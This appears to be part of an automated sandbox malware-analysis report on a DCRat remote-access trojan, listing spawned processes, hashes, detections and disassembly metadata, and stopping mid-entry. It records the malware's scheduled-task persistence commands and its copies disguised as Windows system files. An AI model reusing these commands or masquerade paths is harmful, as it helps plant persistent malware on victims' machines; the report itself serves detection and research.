Show Windows behavior

Target ID:	25
Start time:	22:42:01
Start date:	23/04/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "fontdrvhostf" /sc MINUTE /mo 12 /tr "'C:\Windows\Panther\setup.exe\fontdrvhost.exe'" /f
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	22:42:01
Start date:	23/04/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "fontdrvhost" /sc ONLOGON /tr "'C:\Windows\Panther\setup.exe\fontdrvhost.exe'" /rl HIGHEST /f
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	22:42:01
Start date:	23/04/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "fontdrvhostf" /sc MINUTE /mo 13 /tr "'C:\Windows\Panther\setup.exe\fontdrvhost.exe'" /rl HIGHEST /f
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	22:42:01
Start date:	23/04/2024
Path:	C:\Program Files (x86)\Google\Update\RRVGfHJzvQMYfWe.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\google\Update\RRVGfHJzvQMYfWe.exe"
Imagebase:	0x920000
File size:	848'384 bytes
MD5 hash:	2519412BD469CE3DE2888AA487BE8F51
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: 0000001C.00000002.1751125350.0000000002C41000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Avira Detection: 100%, Avira Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 100%, Joe Sandbox ML Detection: 100%, Joe Sandbox ML Detection: 100%, Joe Sandbox ML Detection: 82%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	22:42:02
Start date:	23/04/2024
Path:	C:\Windows\Panther\setup.exe\fontdrvhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Panther\setup.exe\fontdrvhost.exe
Imagebase:	0xb0000
File size:	848'384 bytes
MD5 hash:	2519412BD469CE3DE2888AA487BE8F51
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: 0000001D.00000002.1817100149.0000000002481000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 82%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	22:42:02
Start date:	23/04/2024
Path:	C:\Windows\Panther\setup.exe\fontdrvhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Panther\setup.exe\fontdrvhost.exe
Imagebase:	0xcd0000
File size:	848'384 bytes
MD5 hash:	2519412BD469CE3DE2888AA487BE8F51
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: 0000001E.00000002.1822130425.0000000003251000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	22:42:02
Start date:	23/04/2024
Path:	C:\Windows\twain_32\Registry.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\twain_32\Registry.exe
Imagebase:	0xa90000
File size:	848'384 bytes
MD5 hash:	2519412BD469CE3DE2888AA487BE8F51
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: 0000001F.00000002.1817416575.0000000002D91000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: 0000001F.00000002.1817416575.0000000002DD8000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 82%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	22:42:02
Start date:	23/04/2024
Path:	C:\Windows\twain_32\Registry.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\twain_32\Registry.exe
Imagebase:	0x920000
File size:	848'384 bytes
MD5 hash:	2519412BD469CE3DE2888AA487BE8F51
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: 00000020.00000002.1823482959.0000000002CA7000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: 00000020.00000002.1823482959.0000000002C81000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	22:42:02
Start date:	23/04/2024
Path:	C:\Program Files (x86)\Java\RRVGfHJzvQMYfWe.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\java\RRVGfHJzvQMYfWe.exe"
Imagebase:	0x8e0000
File size:	848'384 bytes
MD5 hash:	2519412BD469CE3DE2888AA487BE8F51
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: 00000021.00000002.1822645357.0000000002C0E000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: 00000021.00000002.1822645357.0000000002BC1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 82%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	22:42:02
Start date:	23/04/2024
Path:	C:\Program Files (x86)\Java\RRVGfHJzvQMYfWe.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\java\RRVGfHJzvQMYfWe.exe"
Imagebase:	0x230000
File size:	848'384 bytes
MD5 hash:	2519412BD469CE3DE2888AA487BE8F51
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: 00000022.00000002.1827470717.00000000024E1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: 00000022.00000002.1827470717.000000000252D000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	35
Start time:	22:42:02
Start date:	23/04/2024
Path:	C:\ProgramData\smartscreen.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\All Users\smartscreen.exe"
Imagebase:	0x90000
File size:	848'384 bytes
MD5 hash:	2519412BD469CE3DE2888AA487BE8F51
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: 00000023.00000002.1830518768.00000000023CB000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: 00000023.00000002.1830518768.0000000002381000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: 00000023.00000002.1830518768.00000000023D2000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 82%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	36
Start time:	22:42:02
Start date:	23/04/2024
Path:	C:\ProgramData\smartscreen.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\All Users\smartscreen.exe"
Imagebase:	0xa90000
File size:	848'384 bytes
MD5 hash:	2519412BD469CE3DE2888AA487BE8F51
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: 00000024.00000002.1825391692.0000000002D41000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	37
Start time:	22:42:02
Start date:	23/04/2024
Path:	C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe
Imagebase:	0x3e0000
File size:	848'384 bytes
MD5 hash:	2519412BD469CE3DE2888AA487BE8F51
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: 00000025.00000002.1828805098.0000000002681000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: 00000025.00000002.1828805098.00000000026C8000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 82%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	38
Start time:	22:42:02
Start date:	23/04/2024
Path:	C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\IME\IMETC\HELP\UserOOBEBroker.exe
Imagebase:	0x560000
File size:	848'384 bytes
MD5 hash:	2519412BD469CE3DE2888AA487BE8F51
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: 00000026.00000002.1829855431.00000000028A8000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: 00000026.00000002.1829855431.00000000028E0000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Function 00007FFD9B893565 Relevance: .3, Instructions: 296COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1731813970.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b890000_13ZNp2xvRU.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cadeadd2af2b051906fc07cb7b62ef700ab9acc5c213baed6500e4a745740f71
Instruction ID: f8bfc14574c5202359f2ccbd98cf490ba1772cfc6d2f15de1d864fd4bd0f697b
Opcode Fuzzy Hash: cadeadd2af2b051906fc07cb7b62ef700ab9acc5c213baed6500e4a745740f71
Instruction Fuzzy Hash: 1AA1A071A19A4E8FEB98DBA8D8257ECBBE1FF99310F4001BAD01DD72D6DB7468018741

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B89E9AA Relevance: 5.1, Strings: 4, Instructions: 108COMMON

Download Yara Rule

Strings

0, xrefs: 00007FFD9B89E248
], xrefs: 00007FFD9B89E9E1
^, xrefs: 00007FFD9B89EA41
@, xrefs: 00007FFD9B89E2C2

Memory Dump Source

Source File: 00000000.00000002.1731813970.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b890000_13ZNp2xvRU.jbxd

Similarity

API ID:
String ID: 0$@$]$^
API String ID: 0-3352198554
Opcode ID: 91894fd5100bd50779cd570b3a2062728955fd5317458320e84e4a141c4dc589
Instruction ID: 664455922a4015251f4f3914102c990bf8de9448b20e812cc7f2f6fc7902c867
Opcode Fuzzy Hash: 91894fd5100bd50779cd570b3a2062728955fd5317458320e84e4a141c4dc589
Instruction Fuzzy Hash: F541B770E0962D8FEF68DF54C8A47E9BBB1FB58301F1041AAD00DA6291DB786E85CF45

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B890F56 Relevance: 2.7, Strings: 2, Instructions: 226COMMON

Download Yara Rule

Strings

H, xrefs: 00007FFD9B890D23
H, xrefs: 00007FFD9B890F21

Memory Dump Source

Source File: 00000000.00000002.1731813970.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b890000_13ZNp2xvRU.jbxd

Similarity

API ID:
String ID: H$H
API String ID: 0-136785262
Opcode ID: cdc84369e682e5845677987043e1c882afa67c2cd1fd83ef97e45c243a7ee7c4
Instruction ID: 728c3ec773d01b2c18fd4f37ab2ad732d2fca5fa93cf32b2bf359713b254c131
Opcode Fuzzy Hash: cdc84369e682e5845677987043e1c882afa67c2cd1fd83ef97e45c243a7ee7c4
Instruction Fuzzy Hash: 1981E371F19A1E4BEBA8EB58C865BECB7B1EF58710F0002B9D01DD71A5DE346A458B40

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B89E204 Relevance: 2.6, Strings: 2, Instructions: 62COMMON

Download Yara Rule

Strings

0, xrefs: 00007FFD9B89E248
@, xrefs: 00007FFD9B89E2C2

Memory Dump Source

Source File: 00000000.00000002.1731813970.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b890000_13ZNp2xvRU.jbxd

Similarity

API ID:
String ID: 0$@
API String ID: 0-1545510068
Opcode ID: bc935c3bfbf0cbd2fd90436e8394d63fbd47d3432312b54bca60895de4a8589c
Instruction ID: 17bb11076d50cc218aaeab8b3d9f051b466474a44241304843802830a0007156
Opcode Fuzzy Hash: bc935c3bfbf0cbd2fd90436e8394d63fbd47d3432312b54bca60895de4a8589c
Instruction Fuzzy Hash: 2821DB70E0962D8FEF68DF54D894BE9B7B1FB58301F1041A9D00DA2295CB78AA81CF54

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B89D5B9 Relevance: 1.6, Strings: 1, Instructions: 391COMMON

Download Yara Rule

Strings

NM_H, xrefs: 00007FFD9B89D66E

Memory Dump Source

Source File: 00000000.00000002.1731813970.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b890000_13ZNp2xvRU.jbxd

Similarity

API ID:
String ID: NM_H
API String ID: 0-1743349432
Opcode ID: 3f27b0e73e97363f8cbb11f77af8d00be74bef547557f4ce66a0e1cfc9e2c298
Instruction ID: 3dafb571cf2d8b6a2ad886c7ecd8474074bec71016e6dbf8e36d30f35caea77e
Opcode Fuzzy Hash: 3f27b0e73e97363f8cbb11f77af8d00be74bef547557f4ce66a0e1cfc9e2c298
Instruction Fuzzy Hash: 92E14D71E1965D8FEB68DB98C8A47B8BBB1FF58300F0541BAD01DD32A6DA346941CB41

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B89E327 Relevance: 1.3, Strings: 1, Instructions: 68COMMON

Download Yara Rule

Strings

{, xrefs: 00007FFD9B89EDE2

Memory Dump Source

Source File: 00000000.00000002.1731813970.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b890000_13ZNp2xvRU.jbxd

Similarity

API ID:
String ID: {
API String ID: 0-366298937
Opcode ID: 9fc50fc4b41a49cf61da22602bb570d9eeba35c41c9096251e99103242b85da1
Instruction ID: 5a50b3913d3a32fc6846638aae2fc85c9947bd73b611505feaefcef3f05ebe9c
Opcode Fuzzy Hash: 9fc50fc4b41a49cf61da22602bb570d9eeba35c41c9096251e99103242b85da1
Instruction Fuzzy Hash: 4631C474E0962E8EEF74DB94C8587F9BBB1AB58305F1101F9D00D962A1CB786AC4CF45

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B89C910 Relevance: 1.3, Strings: 1, Instructions: 68COMMON

Download Yara Rule

Strings

s{, xrefs: 00007FFD9B89C946

Memory Dump Source

Source File: 00000000.00000002.1731813970.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b890000_13ZNp2xvRU.jbxd

Similarity

API ID:
String ID: s{
API String ID: 0-1998262635
Opcode ID: 659eb03cff64cd7917e1a50e41cdd58c43c6b44b26c1f3112f406a45eb0a4ed6
Instruction ID: 2d055d1756ea63b8c6d177e31822fae6aed4337861eb1236da479ab7fba64e98
Opcode Fuzzy Hash: 659eb03cff64cd7917e1a50e41cdd58c43c6b44b26c1f3112f406a45eb0a4ed6
Instruction Fuzzy Hash: C411D332A0852A8AE729BFA8B9591F973E0FF05325F0409B7D41DC6097EE34A5918791

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B8A0EBB Relevance: 1.3, Strings: 1, Instructions: 61COMMON

Download Yara Rule

Strings

", xrefs: 00007FFD9B8A1221

Memory Dump Source

Source File: 00000000.00000002.1731813970.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b890000_13ZNp2xvRU.jbxd

Similarity

API ID:
String ID: "
API String ID: 0-123907689
Opcode ID: d38ef25204cce9e56018b805821ca7350c9cf22717d80e23282125d93a91d163
Instruction ID: 23ec06b010ded5c843ebae5f03e32e6a11287c7048697fd7d3a80a5be204df8b
Opcode Fuzzy Hash: d38ef25204cce9e56018b805821ca7350c9cf22717d80e23282125d93a91d163
Instruction Fuzzy Hash: 2E21D670E0961DCEEB68EF94C8A47ECB7B1EB59305F110179D01DA72A5CB78AA84CF50

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B89C928 Relevance: 1.3, Strings: 1, Instructions: 58COMMON

Download Yara Rule

Strings

s{, xrefs: 00007FFD9B89C946

Memory Dump Source

Source File: 00000000.00000002.1731813970.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b890000_13ZNp2xvRU.jbxd

Similarity

API ID:
String ID: s{
API String ID: 0-1998262635
Opcode ID: 6ce7dced682825349371c49489d8a94b053051945dafd4e9d4d2724e262ce6c7
Instruction ID: c9a000995d6aa61a84aa14a399cd7026a2d3acff437188fa07bed2e977ddc388
Opcode Fuzzy Hash: 6ce7dced682825349371c49489d8a94b053051945dafd4e9d4d2724e262ce6c7
Instruction Fuzzy Hash: 24110832A0951E8AEB69BFA8A9591FD73E0FF09315F0409B7E40CC6097EE34A191C791

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B89C930 Relevance: 1.3, Strings: 1, Instructions: 53COMMON

Download Yara Rule

Strings

s{, xrefs: 00007FFD9B89C946

Memory Dump Source

Source File: 00000000.00000002.1731813970.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b890000_13ZNp2xvRU.jbxd

Similarity

API ID:
String ID: s{
API String ID: 0-1998262635
Opcode ID: bb90b85372d8a0e5767132f477b14601c5f632cb4f2e80aa22a1fcabfe3c329d
Instruction ID: 5891705e7cca93de96c249005eea7f1aee2094fe50cd85b0249f0ec013b45063
Opcode Fuzzy Hash: bb90b85372d8a0e5767132f477b14601c5f632cb4f2e80aa22a1fcabfe3c329d
Instruction Fuzzy Hash: 5F01D631A0951E89EB69BBA8A9591F973E0FF09315F000977E41DC6097EE3461D18691

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B8A356F Relevance: .3, Instructions: 315COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1731813970.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b890000_13ZNp2xvRU.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b8727196fe28e4ca3e488c0edc2d699b5c65136b1ad08500d4895a2071e46a6a
Instruction ID: d023ad9a2a96c1ad767b7c830c4e39b682ebfe2294e079247239dd078ae81ffe
Opcode Fuzzy Hash: b8727196fe28e4ca3e488c0edc2d699b5c65136b1ad08500d4895a2071e46a6a
Instruction Fuzzy Hash: F5817A63B0952E89D31ABBBCBC294F9BB90EF8533670407F7D199CA0D3EC14604683A0

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B8A3805 Relevance: .2, Instructions: 220COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1731813970.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b890000_13ZNp2xvRU.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2f7e074dd6f5c557ea494dc56ce4ee421f1b2258d99a92acf17e25b3eb0b26ce
Instruction ID: 288f9930cdce340887b9b2f840fcb58abff34840bc5942cd216c8bc5a08a105e
Opcode Fuzzy Hash: 2f7e074dd6f5c557ea494dc56ce4ee421f1b2258d99a92acf17e25b3eb0b26ce
Instruction Fuzzy Hash: 0591CA70E1962D8EEBA4EB98D8647ADB7B1FF58300F1141BAD00DE3291DF346A84CB11

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B891DC2 Relevance: .2, Instructions: 217COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1731813970.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b890000_13ZNp2xvRU.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7ed4778daf4700d0fb4606ddcccf909907fc32870b12fc3ebeec98da1d3b3e6e
Instruction ID: 4a2ee155117869e13209870b709248147d36ea49848b6b0944f529b62c9c55d8
Opcode Fuzzy Hash: 7ed4778daf4700d0fb4606ddcccf909907fc32870b12fc3ebeec98da1d3b3e6e
Instruction Fuzzy Hash: 4F61CE31B1CA498BDF58EF5C98A15A977E2FFDC344B14456EE49EC3296DE30AD028780

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B8931C5 Relevance: .2, Instructions: 168COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1731813970.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b890000_13ZNp2xvRU.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ede5426d26a13023b55da5ae4030d478d3a807f993ef1aca48874bee10b5ee95
Instruction ID: 3229c2e4c3fb420a29c112951d8b44a514334e04027aceb87f46132b74ff7c48
Opcode Fuzzy Hash: ede5426d26a13023b55da5ae4030d478d3a807f993ef1aca48874bee10b5ee95
Instruction Fuzzy Hash: 83510A70E0A61E8FEB64DFD4D4A46EDBBB1EF48311F51017AD009E72A5DA386A41CB40

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B8A1BF5 Relevance: .2, Instructions: 155COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1731813970.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b890000_13ZNp2xvRU.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4d9a72b75bbe8c55f35f34d09f864d0f2944ec936f41d20a6bb8541b3571ebd1
Instruction ID: acbfc2d92c16d715442796dfb05ef0441c0a77d0b5a6fdff83e20b2a4f0d1825
Opcode Fuzzy Hash: 4d9a72b75bbe8c55f35f34d09f864d0f2944ec936f41d20a6bb8541b3571ebd1
Instruction Fuzzy Hash: 6451CC74E0961D8FEB94EFA8C855BACB7B1FF59300F1040A9D04DD7296DE34A982CB11

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B892135 Relevance: .1, Instructions: 142COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1731813970.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b890000_13ZNp2xvRU.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9c63f3dc8ec3853c4e0bc5b202cb2f400c87299974db99d9620cbed46bf74495
Instruction ID: 523cd08b7a569d9e205e05fe0562d2ebef335c088f7503131178281565a19b34
Opcode Fuzzy Hash: 9c63f3dc8ec3853c4e0bc5b202cb2f400c87299974db99d9620cbed46bf74495
Instruction Fuzzy Hash: 8F415C31B0E64A4FDB6ADBB898651B87BE0EF8A300B0541FBD00CC71B7DE28B9418341

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B89C4A5 Relevance: .1, Instructions: 140COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1731813970.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b890000_13ZNp2xvRU.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 944bc92a0a6a757ac8a6d09aa00b6ac8365946133b0c5f84371805113a9a9813
Instruction ID: ff9856f4ee321c562facd1a3033612de6c5a481e81b2387e7d3e469fb3172372
Opcode Fuzzy Hash: 944bc92a0a6a757ac8a6d09aa00b6ac8365946133b0c5f84371805113a9a9813
Instruction Fuzzy Hash: EB411C72B1D95B8AEB69BBACE8694FC7B50FF48334F050177D10DC60E2DE25B2468A50

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B8A236D Relevance: .1, Instructions: 122COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1731813970.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b890000_13ZNp2xvRU.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 252f42d61d8cf72e84336846274d24c651f03244f1bc2bd36191ea37f918d495
Instruction ID: 7eff018ddde66d678db43ec02d4d4b0de69add2bad4a29ab2e1f4d352b4776b3
Opcode Fuzzy Hash: 252f42d61d8cf72e84336846274d24c651f03244f1bc2bd36191ea37f918d495
Instruction Fuzzy Hash: ED414B30E1961D8FDB58EFE8D865AEDB7B1FF58300F00017AE009E32A6DE3469418B80

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B891150 Relevance: .1, Instructions: 121COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1731813970.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b890000_13ZNp2xvRU.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 729ca6e6480592a6f3f67bd1fd95a415e3e0b8500004ba2f4c13793b414f239f
Instruction ID: d386b0637cb2c1af9f6f503f457106e0603bc402b508b0a9f6657b50737b6c83
Opcode Fuzzy Hash: 729ca6e6480592a6f3f67bd1fd95a415e3e0b8500004ba2f4c13793b414f239f
Instruction Fuzzy Hash: C731BD30A1EA5E6EEFA9FBA4C8686B97BE0FF19304F01047ED01ED21E5DE2466408740

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B89C38D Relevance: .1, Instructions: 120COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1731813970.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b890000_13ZNp2xvRU.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8bed00b4a3b16f905aba451ee25335275e7d3564db07c5d3a7ef89a25ee86b6d
Instruction ID: bcb121953d49a027b96b704ff0529173b99663dbf7afc6e7dbe2fe0deeb1eb04
Opcode Fuzzy Hash: 8bed00b4a3b16f905aba451ee25335275e7d3564db07c5d3a7ef89a25ee86b6d
Instruction Fuzzy Hash: 23416D70E0995D4FEBA4EBA8C8697ADB7F1FF58301F5004BAD00DE36A1DE346A418B50

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFD9B8A36D3 Relevance: .1, Instructions: 117COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1731813970.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b890000_13ZNp2xvRU.jbxd

Similarity

API ID:
String ID:
API String ID:
